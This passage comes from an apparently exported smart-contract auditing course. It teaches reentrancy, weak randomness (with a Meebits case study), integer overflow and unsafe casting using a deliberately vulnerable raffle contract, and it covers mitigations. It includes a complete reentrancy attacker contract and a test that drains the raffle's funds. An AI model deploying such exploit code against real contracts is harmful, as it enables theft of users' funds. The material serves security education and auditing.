puppyRaffle.enterRaffle{value: entranceFee}(players);\n attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));\n puppyRaffle.refund(attackerIndex);\n }\n}\n```\n\nOnce deployed, this `attack` function is going to kick off the attack. In order, we're entering the raffle, acquiring our `playerIndex`, and then refunding our `entranceFee`.\n\nThis is going to cause our entranceFee to be sent back to our contract ... what happens then?\n\n```js\nfunction _stealMoney() internal {\n if (address(puppyRaffle).balance >= entranceFee) {\n puppyRaffle.refund(attackerIndex);\n\n }\n}\n\nfallback() external payable {\n _stealMoney();\n}\n\nreceive() external payable {\n _stealMoney();\n}\n```\n\nAdding these functions to our `ReentrancyAttacker` contract finishes the job. When funds are sent back to our contract, the `fallback` or `receive` functions are called which is going to trigger another `refund` call in our `_stealMoney` function, completing the loop until the `PuppyRaffle` contract is drained!\n\n
\n ReentrancyAttacker Contract \n\n```js\ncontract ReentrancyAttacker {\n PuppyRaffle puppyRaffle;\n uint256 entranceFee;\n uint256 attackerIndex;\n\n constructor(PuppyRaffle _puppyRaffle) {\n puppyRaffle = _puppyRaffle;\n entranceFee = puppyRaffle.entranceFee();\n }\n\n function attack() public payable {\n address[] memory players = new address[](1);\n players[0] = address(this);\n puppyRaffle.enterRaffle{value: entranceFee}(players);\n attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));\n puppyRaffle.refund(attackerIndex);\n }\n\n function _stealMoney() internal {\n if (address(puppyRaffle).balance >= entranceFee) {\n puppyRaffle.refund(attackerIndex);\n\n }\n }\n fallback() external payable {\n _stealMoney();\n }\n receive() external payable {\n _stealMoney();\n }\n}\n```\n\n
\n
\n\nAlright, let's add this logic to our test. First we'll create an instance of the attacker contract and an attacker address, funding it with 1 ether.\n\n```js\nReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);\naddress attacker = makeAddr(\"attacker\");\nvm.deal(attacker, 1 ether);\n```\n\nNext, we'll grab some balances so we're ablee to log our changes after the attack.\n\n```js\nuint256 startingAttackContractBalance = address(attackerContract).balance;\nuint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;\n```\n\nWe finally call the attack, like so:\n\n```js\nvm.prank(attacker);\nattackerContract.attack{value: entranceFee}();\n```\n\nThen we'll console.log the impact:\n\n```js\nconsole.log(\"attackerContract balance: \", startingAttackContractBalance);\nconsole.log(\"puppyRaffle balance: \", startingPuppyRaffleBalance);\nconsole.log(\n \"ending attackerContract balance: \",\n address(attackerContract).balance\n);\nconsole.log(\"ending puppyRaffle balance: \", address(puppyRaffle).balance);\n```\n\n
\ntest_reentrancyRefund\n\n```js\nfunction test_reentrancyRefund() public {\n // users entering raffle\n address[] memory players = new address[](4);\n players[0] = playerOne;\n players[1] = playerTwo;\n players[2] = playerThree;\n players[3] = playerFour;\n puppyRaffle.enterRaffle{value: entranceFee * 4}(players);\n\n // create attack contract and user\n ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);\n address attacker = makeAddr(\"attacker\");\n vm.deal(attacker, 1 ether);\n\n // noting starting balances\n uint256 startingAttackContractBalance = address(attackerContract).balance;\n uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;\n\n // attack\n vm.prank(attacker);\n attackerContract.attack{value: entranceFee}();\n\n // impact\n console.log(\"attackerContract balance: \", startingAttackContractBalance);\n console.log(\"puppyRaffle balance: \", startingPuppyRaffleBalance);\n console.log(\"ending attackerContract balance: \", address(attackerContract).balance);\n console.log(\"ending puppyRaffle balance: \", address(puppyRaffle).balance);\n}\n```\n\n
\n
\n\nAll we need to do now is run this test with the command `forge test --mt test_reentrancyRefund -vvv` and we should receive...\n\n\n\n### Wrap Up\n\nWe did it! We've proven the vulnerability through our application of our PoC and we'll absolutely be submitting this as a finding - likely a `High`.\n\nBe very proud of what you've learnt so far, you're now armed to safeguard De-Fi against some of the most prevalent vulnerabilities in Web3.\n\nLet's go back to the code back and continue our recon in the next lesson.\n", + "updates": [] + }, + { + "lessonId": "31709f46-91b8-4eb4-88bd-a14600106ae5", + "number": 24, + "title": "Recon: Continued", + "slug": "recon-continued", + "folderName": "24-recon-continued", + "description": "", + "duration": 5, + "videoUrl": "NhZ500cBSKSrf6ROlqMhqPtbQoOHbi6WoEe51H9C2x2I", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/24-recon-continued/+page.md", + "markdownContent": "---\ntitle: Recon Continued\n---\n\n_Follow along with this video:_\n\n---\n\nLet's continue with our manual review of PuppyRaffle. So far we've gone through\n\n- enterRaffle - where we uncovered a DoS vulnerability\n- refund - we discovered is vulnerable to reentrancy\n- getActivePlayerIndex - we found an edge case where players at index 0 aren't sure if they've entered the raffle!\n\nWalking through the code, we're moving onto the `selectWinner` function. This is a big one, we'll have a lot to go over.\n\n```js\nfunction selectWinner() external {\n require(block.timestamp >= raffleStartTime + raffleDuration, \"PuppyRaffle: Raffle not over\");\n require(players.length >= 4, \"PuppyRaffle: Need at least 4 players\");\n uint256 winnerIndex =\n uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;\n address winner = players[winnerIndex];\n uint256 totalAmountCollected = players.length * entranceFee;\n uint256 prizePool = (totalAmountCollected * 80) / 100;\n uint256 fee = (totalAmountCollected * 20) / 100;\n totalFees = totalFees + uint64(fee);\n\n uint256 tokenId = totalSupply();\n\n // We use a different RNG calculate from the winnerIndex to determine rarity\n uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;\n if (rarity <= COMMON_RARITY) {\n tokenIdToRarity[tokenId] = COMMON_RARITY;\n } else if (rarity <= COMMON_RARITY + RARE_RARITY) {\n tokenIdToRarity[tokenId] = RARE_RARITY;\n } else {\n tokenIdToRarity[tokenId] = LEGENDARY_RARITY;\n }\n\n delete players;\n raffleStartTime = block.timestamp;\n previousWinner = winner;\n (bool success,) = winner.call{value: prizePool}(\"\");\n require(success, \"PuppyRaffle: Failed to send prize pool to winner\");\n _safeMint(winner, tokenId);\n}\n```\n\nThe function's NatSpec makes it's purpose quite clear.\n\n```js\n/// @notice this function will select a winner and mint a puppy\n/// @notice there must be at least 4 players, and the duration has occurred\n/// @notice the previous winner is stored in the previousWinner variable\n/// @dev we use a hash of on-chain data to generate the random numbers\n/// @dev we reset the active players array after the winner is selected\n/// @dev we send 80% of the funds to the winner, the other 20% goes to the feeAddress\n```\n\nWe can see the first thing this function is doing is performing some checks. Given what we recently learnt a reasonable question to ask might be _Is this following CEI?_\n\nWell, in this instance the only thing happening after our external call is `_safeMint`. We're not really sure what this is yet, so we may come back to it.\n\n```js\n (bool success,) = winner.call{value: prizePool}(\"\");\n require(success, \"PuppyRaffle: Failed to send prize pool to winner\");\n _safeMint(winner, tokenId);\n```\n\nOne of our checks requires the `raffleDuration` to have passed, verifying this variable is set properly would be another thing we would want to check. In this case the `raffleDuration` is set in our constructor, the `raffleStartTime` is set during the instant of deployment. Looks good.\n\n```js\nrequire(block.timestamp >=\n raffleStartTime + raffleDuration, \"PuppyRaffle: Raffle not over\");\n```\n\nI encourage you to write these thoughts down in your `notes.md` file and actually write in-line notes to keep them organized. Being able to reference these thoughts during our write ups and later in the review is incredibly valuable to the proceess.\n\n```js\n// @Audit: Does this follow CEI?\n// @Audit: Are the duration and time being set correctly?\n// @Audit: What is _safeMint doing after our external call?\n```\n\nIt's important to note the `selectWinner` function is external, so anyone can call it. The checks in this function will be really important, but they do look good.\n\nMoving on, the next this thing function is doing is defining a `winnerIndex`.\n\n```js\nuint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;\naddress winner = players[winnerIndex];\n```\n\nIt seems our function is using a pseudo-random number, modded by the player's array to choose our winning index. It then assigns the player at that index in the array to our `winner` variable.\n\nThis winner variable is used further in the function to distribute the `prizePool` as well as mint the winning NFT.\n\n```js\n(bool success,) = winner.call{value: prizePool}(\"\");\nrequire(success, \"PuppyRaffle: Failed to send prize pool to winner\");\n_safeMint(winner, tokenId);\n```\n\nIt's important that this selection is fair and truly random or this could be exploited by malicious actors fairly easily. My alarm bells are going off and I'm seeing a lot of red flags.\n\n### Wrap Up\n\nHaving gone through the `selectWinner` function, we now have a better understanding of this process and how it's controlleed.\n\nThe function can't be called until the `raffleDuration` has passed and there are at least 4 people entered. Once `selectWinner` is called and passes checks, it uses a pseudo-random method to determine a winner of the raffle and then transfers the `prizePool` and mints them an NFT.\n\nThe question becomes:\n\n```js\n// @Audit: Is this selection process fair/truly random?\n```\n\nLet's look more closely in the next lesson!\n\n> **Challenge:** There is a **massive** bug with refund + selectWinner that we _don't_ go over here. I challenge you to find it!\n", + "updates": [] + }, + { + "lessonId": "6b574a27-6e1f-4aa4-a421-8a51b18cdb90", + "number": 25, + "title": "Exploit: Weak randomness", + "slug": "exploit-weak-randomness", + "folderName": "25-exploit-weak-randomness", + "description": "", + "duration": 4, + "videoUrl": "Ej3Cgk3xfWXpqa8P5WTCNBFDCo7vVRk01wkjViEzUkfI", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/25-exploit-weak-randomness/+page.md", + "markdownContent": "---\ntitle: Exploit - Weak Randomness\n---\n\n_Follow along with this video:_\n\n---\n\n### Weak Randomness Overview\n\nThis will be a quick overview, but there are a view ways that Weak Randomness can cause issues.\n\nLet's actually take a moment to go back to `Slither` because, if you can believe it, `Slither` will actually catch this for us.\n\n```bash\nslither .\n```\n\nRunning slither as above we can see it's output contains the following:\n\n\n\nSo what is this detector telling us - that `PuppyRaffle.sol` is using weak PRNG or Pseudo Random Number Generation. We can navigate to the [**link provided**](https://github.com/crytic/slither/wiki/Detector-Documentation#weak-PRNG) for more information and a simplified example of this vulnerability.\n\n\n\nBeyond what's outlined here as a concern - that miners can influence global variables favorable - there's a lot more _weirdness_ that goes into random numbers on-chain.\n\nIf you've seen any of my other content, you know that Chainlink VRF is a solution for this problem, and I encourage you to check out the [**documentation**](https://docs.chain.link/vrf) for some additional learnings.\n\n### Remix Examples\n\nReturn to our [**sc-exploits-minimized**](https://github.com/Cyfrin/sc-exploits-minimized) repo and we've included a link to a [**Remix example**](https://remix.ethereum.org/#url=https://github.com/Cyfrin/sc-exploits-minimized/blob/main/src/weak-randomness/WeakRandomness.sol&lang=en&optimize=false&runs=200&evmVersion=null&version=soljson-v0.8.20+commit.a1b79de6.js) of this vulnerability.\n\n> This contract is available for local testing as well [**here**](https://github.com/Cyfrin/sc-exploits-minimized/blob/main/src/weak-randomness/WeakRandomness.sol).\n\nLooking at the `Remix` example, we can see it's doing something very similar to what `PuppyRaffle` is doing\n\n```js\nuint256 randomNumber = uint256(keccak256(abi.encodePacked(msg.sender, block.prevrandao, block.timestamp)));\n```\n\nIn this declaration we're taking 3 variables:\n\n- msg.sender\n- block.prevrandao\n- block.timestamp\n\nWe're hashing these variables and casting the result as a uint256. The problem exists in that the 3 variables we're deriving our number from are able to be influenced or anticipated such that we can predict what the random number will be.\n\nThe test set up in [**sc-exploits-minimized**](https://github.com/Cyfrin/sc-exploits-minimized) may look a little silly, but what's trying to be conveyed is that generating the same random number in a single block is another example of how this vulnerability can be exploited.\n\n```js\n// For this test, a user could just deploy a contract that guesses the random number...\n// by calling the random number in the same block!!\nfunction test_guessRandomNumber() public {\n uint256 randomNumber = weakRandomness.getRandomNumber();\n\n assertEq(randomNumber, weakRandomness.getRandomNumber());\n}\n```\n\n### Wrap Up\n\nIn short - the blockchain is deterministic. Using on-chain variables and pseudo random number generation leaves a protocol open to exploits whereby an attacker can predict or manipulate the 'random' value.\n\nThere multiple ways that weak randomness can be exploited, and we'll be going through them in the next lesson!\n", + "updates": [] + }, + { + "lessonId": "553ec8a3-8e89-4408-b1a0-df917a61e099", + "number": 26, + "title": "Weak randomness: Multiple issues", + "slug": "weak-randomness-multiple-issues", + "folderName": "26-weak-randomness-multiple-issues", + "description": "", + "duration": 4, + "videoUrl": "K2A00fSWWtRpOFj32H900qMwvS779kZXOAl00GFThIVu5o", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/26-weak-randomness-multiple-issues/+page.md", + "markdownContent": "---\ntitle: Weak Randomness - Multiple Issues\n---\n\n_Follow along with this video:_\n\n---\n\n### Weak Randomness Breakdown\n\nLet's look at a few ways that randomness, as we've seen in `PuppyRaffle` and our [**sc-exploits-minimized**](https://github.com/Cyfrin/sc-exploits-minimized) examples, can be manipulated.\n\n\n\n### block.timestamp\n\nRelying on block.timestamp is risky for a few reasons as node validators/miners have privileges that may give them unfair advantages.\n\nThe validator selected for a transaction has the power to:\n\n- Hold or delay the transaction until a more favorable time\n- Reject the transaction because the timestamp isn't favorable\n\nTimestamp manipulation has become less of an issue on Ethereum, since the merge, but it isn't perfect. Other chains, such as Arbitrum can be vulnerable to several seconds of slippage putting randomness based on `block.timestamp` at risk.\n\n### block.prevrandao\n\n`block.prevrandao` was introduced to replace `block.difficulty` when the merge happened. This is a system to choose random validators.\n\nThe security issues using this value for randomness are well enough known that many of them are outlined in the [**EIP-4399**](https://eips.ethereum.org/EIPS/eip-4399) documentation already.\n\nThe security considerations outlined here include:\n\n**Biasability:** The beacon chain RANDAO implementation gives every block proposer 1 bit of influence power per slot. Proposer may deliberately refuse to propose a block on the opportunity cost of proposer and transaction fees to prevent beacon chain randomness (a RANDAO mix) from being updated in a particular slot.\n\n**Predictability:** Obviously, historical randomness provided by any decentralized oracle is 100% predictable. On the contrary, the randomness that is revealed in the future is predictable up to a limited extent.\n\n### msg.sender\n\nAny field controlled by a caller can be manipulated. If randomness is generated from this field, it gives the caller control over the outcome.\n\nBy using msg.sender we allow the caller the ability to mine for addresses until a favorable one is found, breaking the randomness of the system.\n\n### Wrap Up\n\nThis should all make sense. The blockchain is a deterministic system, any number we derive from it, is by definition going to be deterministic.\n\nWe've touched on a few ways this vulnerability can be exploited, in the next lesson we'll investigate a case study that should illustrate the potential impact of a weakness like this.\n\nMeanwhile, I encourage you to experiment further with how the vulnerability works within our [**Remix**](https://remix.ethereum.org/#url=https://github.com/Cyfrin/sc-exploits-minimized/blob/main/src/weak-randomness/WeakRandomness.sol&lang=en&optimize=false&runs=200&evmVersion=null&version=soljson-v0.8.20+commit.a1b79de6.js) and [**sc-exploits-minimized**](https://github.com/Cyfrin/sc-exploits-minimized) examples.\n", + "updates": [] + }, + { + "lessonId": "a783af65-794e-42cd-b1e3-74c9ce450915", + "number": 27, + "title": "Case Study: Weak Randomness", + "slug": "weak-randomness-case-study", + "folderName": "27-weak-randomness-case-study", + "description": "", + "duration": 7, + "videoUrl": "xlTTGNN02YD3RRQDZBOAo00gTiZHjzxMubn5S02n71PTvw", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/27-weak-randomness-case-study/+page.md", + "markdownContent": "---\ntitle: Weak Randomness - Case Study\n---\n\n_Follow along with this video:_\n\n---\n\n### Intro to Meebits and Andy Li\n\nLet's look into a case study that involves the exploit of an NFT project, Meebits, which occurred in 2021. This analysis will shed light on a real-world example of how weak randomness was exploited, resulting in a substantial loss of nearly a million dollars for the protocol.\n\nWe extend our appreciation to [**Andy Li**](https://twitter.com/andyfeili) from [**Sigma Prime**](https://sigmaprime.io/) who walks us through the details of this attack.\n\n_Information in this post is graciously provided by Andy_\n\nRemember, periodically conducting post mortems like this greatly contributes towards honing your skills as a security researcher. Familiarity begets mitigation.\n\n### Case Study: Meebits - Insecure Randomness\n\nMeebits, created by Larva Labs (team behind CryptoPunks), was exploited in May 2021 due to insecure randomness in its smart contracts. By rerolling their randomness, an attacker was able to obtain a rare NFT which they sold for $700k.\n\nThe concept behind Meebits was simple. If you owned a CryptoPunk, you could mint a free Meebit NFT. The attributes of this newly minted NFT were supposed to be random, with some traits being more valuable than others. However, owing to exploitable randomness, the attacker could reroll their mint until they obtained an NFT with desirable traits.\n\n### How the Attack Happened\n\nThere were 4 distinct things that occured.\n\n**Metadata Disclosure:** The Meebit contract contained an IPFS hash which pointed to metadata for the collection. Within the Metadata there existed a string of text that clearly disclosed which traits would be the most rare\n\n \"...While just five of the 20,000 Meebits are of the dissected form, which is the rarest. The kinds include dissected, visitor, skeleton, robot, elephant, pig and human, listed in decreasing order of rarity.\"\n\nIn addition to this, the `tokenURI` function allowed public access to the traits of your minted Meetbit, by passing the function your tokenId.\n\n**Insecure Randomness:** Meebits calculated a random index based on this line of code:\n\n```js\nuint index = uint(keccak256(abi.encodePacked(nonce, msg.sender, block.difficulty, block.timestamp))) % totalSize;\n```\n\nThis method to generate an index is used within Meebit's `randomIndex` function when minting an NFT.\n\n```js\nfunction _mint(address _to, uint createdVia) internal returns (uint) {\n require(_to != address(0), \"Cannot mint to 0x0.\");\n require(numTokens < TOKEN_LIMIT, \"Token limit reached.\");\n uint id = randomIndex();\n\n numTokens = numTokens + 1;\n _addNFToken(_to, id);\n\n emit Mint(id, _to, createdVia);\n emit Transfer(address(0), _to, id);\n return id;\n }\n```\n\n**Attacker Rerolls Mint Repeatedly:** The attacker in this case deployed a contract which did two things.\n\n1. Calls `mint` to mint an NFT\n2. Checks the 'random' Id generated and reverts the `mint` call if it isn't desirable.\n\nThe attack contract wasn't verified, but if we decompile its bytecode we can see the attack function.\n\n```js\nfunction 0x1f2a8a19(uint256 varg0) public nonPayable {\n require(msg.data.length -4 >= 32);\n require(bool(stor_2_0_19.code.size));\n v0, /*uint256*/ v1 = stor_2_0_19.mintWithPunkOrGlyph(varg0).gas(msg.gas);\n require(bool(v0), 0, RETURNDATASIZE());\n require(RETURNDATASIZE() >= 32);\n assert(bool(uint8(map_1[v1]))==bool(1));\n v2 = address(block.coinbase).call().value(0xde0b6b3a7640000);\n require(bool(v2), 0, RETURNDATASIZE());\n}\n```\n\nThe above my be a little complex, but these are the important lines to note:\n\n```js\nv0, /*uint256*/ (v1 = stor_2_0_19.mintWithPunkOrGlyph(varg0).gas(msg.gas));\n```\n\nand\n\n```js\nassert(bool(uint8(map_1[v1])) == bool(1));\n```\n\nThe first line is where the mint function is being called by the attacking contract.\n\nThe second line is where an assertion is made that the minted NFT has the desired rare traits. If this assersion fails, the whole transaction is reverted.\n\n**Attacker Receives Rare NFT:**\n\nThe attacking contract called this mint function and reverted for over 6 hours. Spending ~$20,000/hour in gas until they minted the rare NFT they wanted Meebit #16647. The NFT possessed a Visitor trait and sold for ~$700,000.\n\n\n\n### Wrap Up\n\nThere you have it. That's how an attacker in 2021 was able to exploit weak randomness in the Meetbits contract.\n\nThanks again to Andy! In the next lesson we'll be going over how to prevent this madness!\n", + "updates": [] + }, + { + "lessonId": "dde6f9a7-4b37-4472-bfdc-0d0b894b01cb", + "number": 28, + "title": "Weak randomness: Mitigation", + "slug": "weak-randomness-mitigation", + "folderName": "28-weak-randomness-mitigation", + "description": "", + "duration": 1, + "videoUrl": "mJOyBovWIwZYszgVMcBetmpet4VbtRP3YXyzwpwblrk", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/28-weak-randomness-mitigation/+page.md", + "markdownContent": "---\ntitle: Weak Randomness - Mitigation\n---\n\n_Follow along with this video:_\n\n---\n\n### Mitigating Weak Randomness\n\nIn short, relying on on-chain data to generate random numbers is problematic due to the deterministic nature of the blockchain. The easiest way to mitigate this is to generate random numbers off-chain.\n\nSome off-chain solutions include:\n\n**Chainlink VRF:** \"A provably fair and verifiable random number generator (RNG) that enables smart contracts to access random values without compromising security or usability. For each request, Chainlink VRF generates one or more random values and cryptographic proof of how those values were determined. The proof is published and verified on-chain before any consuming applications can use it. This process ensures that results cannot be tampered with or manipulated by any single entity including oracle operators, miners, users, or smart contract developers.\" - I encourage you to [**check out the Docs**](https://docs.chain.link/vrf).\n\n**Commit Reveal Scheme:** \"The scheme involves two steps: commit and reveal.\n\nDuring the commit phase, users submit a commitment that contains the hash of their answer along with a random seed value. The smart contract stores this commitment on the blockchain. Later, during the reveal phase, the user reveals their answer and the seed value. The smart contract then checks that the revealed answer and the hash match, and that the seed value is the same as the one submitted earlier. If everything checks out, the contract accepts the answer as valid and rewards the user accordingly.\" - Read more in this [**Medium Article**](https://medium.com/coinmonks/commit-reveal-scheme-in-solidity-c06eba4091bb)!\n", + "updates": [] + }, + { + "lessonId": "3c4d644f-5c2f-4298-a398-ab81c8d9e0b9", + "number": 29, + "title": "Exploit: Integer overflow", + "slug": "exploit-integer-overflow", + "folderName": "29-exploit-integer-overflow", + "description": "", + "duration": 8, + "videoUrl": "rqT5q00UWGMM7yy82yK02h3655YYtJV832DU8yhhOWCR4", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/29-exploit-integer-overflow/+page.md", + "markdownContent": "---\ntitle: Exploit - Integer Overflow\n---\n\n_Follow along with this video:_\n\n---\n\n### Continuing with selectWinner\n\nWe've only just started with the `selectWinner` function and we've already found another issue. Let's keep going and see if we can find more.\n\n```js\nfunction selectWinner() external {\n require(block.timestamp >= raffleStartTime + raffleDuration, \"PuppyRaffle: Raffle not over\");\n require(players.length >= 4, \"PuppyRaffle: Need at least 4 players\");\n uint256 winnerIndex =\n uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;\n address winner = players[winnerIndex];\n // @Audit: Why the calculationi for totalAmountCollected, why not address(this).balance?\n uint256 totalAmountCollected = players.length * entranceFee;\n // @Audit:80% prizePool, 20% fee. Is this correct? Arithmatic may lead to precision loss\n uint256 prizePool = (totalAmountCollected * 80) / 100;\n uint256 fee = (totalAmountCollected * 20) / 100;\n // @Audit: Total fees the owner should be able to collect. Why the casting? Overflow.\n totalFees = totalFees + uint64(fee);\n\n ...\n```\n\nAssessing the function snippet above I notice a few things that may be worth noting in our `notes.md` and/or by leaving in-line notes like shown.\n\n```js\ntotalFees = totalFees + uint64(fee);\n```\n\nThis line in particular sets my alarm bells off. My experience tells me that this is at risk of `integer overflow`. This is a bit of a classic issue, as newer versions of Solidity (>=0.8.0) are protected from it.\n\nHead back to [**sc-exploits-minimized**](https://github.com/Cyfrin/sc-exploits-minimized) and let's have a closer look at how this works.\n\nNavigating to `src/arithmetic/OverflowAndUnderflow.sol` we can see a simple example of how this works.\n\n```js\ncontract Overflow {\n uint8 public count;\n\n // uint8 has a max value of 255, so if we add 1 to 255, we get 0 if it's unchecked!\n // Versions prior to 0.8 of solidity also have this issue\n function increment(uint8 amount) public {\n unchecked {\n count = count + amount;\n }\n }\n}\n```\n\n`unchecked` is a keyword in later versions of Solidity, this is being used to tell the compiler not to check for things like overflow. In earlier versions of Solidity (prior to 0.8.0) there were no checks by default.\n\n### Overflow Remix Example\n\nWe've provide a [**Remix example**](https://remix.ethereum.org/#url=https://github.com/Cyfrin/sc-exploits-minimized/blob/main/src/arithmetic/OverflowAndUnderflow.sol&lang=en&optimize=false&runs=200&evmVersion=null&version=soljson-v0.8.20+commit.a1b79de6.js) to experiment with and get a sense of things.\n\nBy compiling and deploying our `Overflow.sol` contract, we should be met with this:\n\n\n\nThe max value of a uint8 is 255. Our `count` variable starts at 0, so let's just pick a number to start with, say 200.\n\n\n\nCalling increment updates our `count` variable. No problem so far. Now let's add 60 to our number. `count` should total 260, but what do you think we'll get?\n\n\n\nWe get 4! This is because our integer is hitting the cap of 255, and then wrapping back to 0.\n\n> **Note:** This true for ints and uints in all versions of Solidity **prior to** 0.8.0.\n>\n> In Solidity versions 0.8.0+ `unchecked` is required to expose this vulnerability. Uints and ints are `checked` by default. If a max is surpassed in these versions, the transaction will revert.\n\nThe situation is the same in circumstances of `underflow`. An integer will wrap to the max value if reduced past it's limit. You can practice this with our remix example as well.\n\n```js\ncontract Underflow {\n uint8 public count;\n\n // uint8 has a min value of 0, but if we subtract 1 from 0, we get 255 if it's unchecked!\n // Versions prior to 0.8 of solidity also have this issue\n function decrement() public {\n unchecked {\n count--;\n }\n }\n}\n```\n\n### Precision Loss\n\nThe last vulnerability outlined in this repo is `precision loss`.\n\n```js\ncontract PrecisionLoss {\n uint256 public moneyToSplitUp = 225;\n uint256 public users = 4;\n\n // This function will return 56, but we want it to return 56.25\n function shareMoney() public view returns (uint256) {\n return moneyToSplitUp / users;\n }\n}\n```\n\n\n\nAt its root, this is because Solidity doesn't support float point numbers. Any time we're performing a division operation, we need to be aware of this potential loss of precision.\n\n### Wrap Up\n\nA Proof of Concept/Code for this vulnerability should be pretty straightforward, so I won't be walking through one, but I challenge you to write one yourself.\n\nIf you get stuck - you can check out the [**audit-data**](https://github.com/Cyfrin/4-puppy-raffle-audit/tree/audit-data) branch of the Puppy Raffle Repo for guidance. **_Don't Cheat!_**\n\nLet's keep going!\n", + "updates": [] + }, + { + "lessonId": "b9ba2a58-137e-4622-a91d-f0f28eff6c01", + "number": 30, + "title": "Integer overflow: Mitigation", + "slug": "integer-overflow-mitigation", + "folderName": "30-integer-overflow-mitigation", + "description": "", + "duration": 2, + "videoUrl": "g4oqGIg7hF0102exQnyBhNlaAB2OsX6WKuZ8wYRr02Gns8", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/30-integer-overflow-mitigation/+page.md", + "markdownContent": "---\ntitle: Integer Overflow - Mitigation\n---\n\n_Follow along with this video:_\n\n---\n\n### Mitigation\n\nInteger over/underflow is actually fairly straightforward to mitigate against.\n\n```js\nfunction selectWinner() external {\n require(block.timestamp >= raffleStartTime + raffleDuration, \"PuppyRaffle: Raffle not over\");\n require(players.length >= 4, \"PuppyRaffle: Need at least 4 players\");\n uint256 winnerIndex =\n uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;\n address winner = players[winnerIndex];\n uint256 totalAmountCollected = players.length * entranceFee;\n uint256 prizePool = (totalAmountCollected * 80) / 100;\n uint256 fee = (totalAmountCollected * 20) / 100;\n // @Audit: Newer version of Solidity, Bigger Uints\n totalFees = totalFees + uint64(fee);\n```\n\nIn our `Puppy Raffle` protocol we would likely suggest a newer Solidity version. The use of a `uint64` is also just silly.\n\nFoundry allows us to verify the max sizes of the numbers really conveniently through a `chisel` command. Typing `chisel` will start `chisel`, the command `type(uint64).max` will give an output like this:\n\n```bash\nWelcome to Chisel! Type `!help` to show available commands.\n➜ type(uint64).max\nType: uint\n├ Hex: 0x000000000000000000000000000000000000000000000000ffffffffffffffff\n└ Decimal: 18446744073709551615\n➜\n```\n\n_18 ETH due to having 18 decimal places_\n\nIf `Puppy Raffle` receives more than 18 ETH in fees, we're going to see overflow issues!\n\nExperiment with `chisel` and try different `uint/int` types to get a sense for how big/small some of these common numbers are!\n", + "updates": [] + }, + { + "lessonId": "34856ce8-f62b-469b-bc59-c053b97d3e69", + "number": 31, + "title": "Exploit: Unsafe casting", + "slug": "unsafe-casting", + "folderName": "31-unsafe-casting", + "description": "", + "duration": 4, + "videoUrl": "YBvahGC3O2RcQLtPsOCuU6901UQsygpBjZ8Ew3AIIrg4", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/31-unsafe-casting/+page.md", + "markdownContent": "---\ntitle: Unsafe Casting\n---\n\n_Follow along with this video:_\n\n---\n\n### Unsafe Casting Breakdown\n\nThere's another issue with the line `totalFees = totalFees + uint64(fee)` that's similar to integer overflow, but a little different.\n\nUsing `chisel` again, we can see that a max `uint64` is 18446744073709551615.\n\n```bash\nWelcome to Chisel! Type `!help` to show available commands.\n➜ type(uint64).max\nType: uint\n├ Hex: 0x000000000000000000000000000000000000000000000000ffffffffffffffff\n└ Decimal: 18446744073709551615\n➜\n```\n\nWe've also learnt that adding any to this number is going to wrap around to 0 again, but what happens if we try to cast a larger number into this smaller container?\n\n\n\nWe can see above that when `20e18` is cast as a `uint64` the returned value is actually the difference between `type(uint64).max` and `20e18`.\n\nOur value has wrapped on us again!\n\n```js\n// twentyEth = 20000000000000000000\n// type(uint64).max = 18446744073709551615\n// uint64(twenthEth) = 1553255926290448384\n```\n\nThis is absolutely something we're caalling out in our audit report. Puppy Raffle is at risk of losing so many fees!\n", + "updates": [] + }, + { + "lessonId": "0f511af4-595c-4b3e-bd92-dabb16222f66", + "number": 32, + "title": "Recon II", + "slug": "recon-continued-2", + "folderName": "32-recon-continued-2", + "description": "", + "duration": 11, + "videoUrl": "ihCoLDxSFounXaGL3sGS5MJtjUS00e9MIj5B02RPwJ59w", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/32-recon-continued-2/+page.md", + "markdownContent": "---\ntitle: Recon Continued 2\n---\n\n_Follow along with this video:_\n\n---\n\n### Continuing Reconnaissance\n\nWe've already found **two** big bugs in this selectWinner function! This is great, let's continue down the code and see what else we uncover.\n\nThe next line in our code is `uint256 tokenId = totalSupply()`. It may be worth confirming where `totalSupply()` is coming from and making some in-line notes of questions to answer later.\n\n```js\n...\n //\n uint256 tokenId = totalSupply();\n\n // We use a different RNG calculate from the winnerIndex to determine rarity\n uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;\n if (rarity <= COMMON_RARITY) {\n tokenIdToRarity[tokenId] = COMMON_RARITY;\n } else if (rarity <= COMMON_RARITY + RARE_RARITY) {\n tokenIdToRarity[tokenId] = RARE_RARITY;\n } else {\n tokenIdToRarity[tokenId] = LEGENDARY_RARITY;\n }\n\n delete players;\n raffleStartTime = block.timestamp;\n previousWinner = winner;\n (bool success,) = winner.call{value: prizePool}(\"\");\n require(success, \"PuppyRaffle: Failed to send prize pool to winner\");\n _safeMint(winner, tokenId);\n}\n```\n\nWe can see that `totalSupply()` is coming from our `ERC721 inheritance` and is returning `_tokenOwners.length`\n\n```js\nfunction totalSupply() public view virtual override returns (uint256) {\n // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds\n return _tokenOwners.length();\n}\n```\n\nERC721 is a very common token standard and tokenSupply is a well known function within it. You should absolutely familiarize yourself with these concepts. Ultimately things look good here, but we may want to make note:\n\n```js\n// @Audit: Where is tokenId/tokenSupply being incremented?\nuint256 tokenId = totalSupply();\n```\n\nContinuing with our `selectWinner` function we next see that a token 